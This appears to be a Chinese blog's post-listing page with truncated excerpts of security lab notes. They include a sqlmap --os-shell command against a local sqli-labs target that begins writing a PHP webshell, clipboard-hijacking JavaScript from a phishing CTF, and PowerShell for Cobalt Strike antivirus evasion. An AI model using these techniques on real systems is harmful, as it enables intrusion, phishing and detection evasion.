tools
关注
分享
扫一扫
GTA6
这个作者很懒，什么都没留下…
展开
-
IDEA 切换java版本
好几个步骤记录下。原创 2021-08-25 13:04:18 · 460 阅读 · 0 评论 -
burp抓不到localhost(本地包)问题
各种设置都没问题还是抓不到包，可以试试把localhost改为本地ip。原创 2021-08-23 12:48:45 · 531 阅读 · 0 评论 -
sqlmap os shell中文路径问题
问题看了师傅文章MSSQL高权限注入写马至中文路径自己复现一下。复现环境：win10phpstudysqli-labs靶场python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --os-shell --proxy http://127.0.0.1:8080正常写带中文路径的，可以看到是失败的没有生成文件。burp抓个包。将命令GB2312编码，然后替换到burp上。echo ^<?php @原创 2021-08-19 23:46:29 · 1333 阅读 · 0 评论 -
钓鱼（一）
前言昨晚公众号看的文章一道针对安全人员进行定向攻击的CTF题，满有意思的复现一波。复现<!DOCTYPE html><html><head><meta charset="utf-8"><title>about</title><script>function addLink() { var body_element = document.body; var selection; sel原创 2021-08-16 10:43:40 · 104 阅读 · 0 评论 -
cs免杀（一）
前言网上搜了几篇文章复现下操作。ps1文件免杀生成ps1文件将关键字FromBase64String括号内的字符串复制起来。将下面代码保存改为ps1文件执行$string = ''$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('刚刚复制的字符串')$s |foreach { $string = $string + $_.ToString()+','}$string > d:\1.txt 代码输出到1.t原创 2021-08-12 17:37:13 · 684 阅读 · 0 评论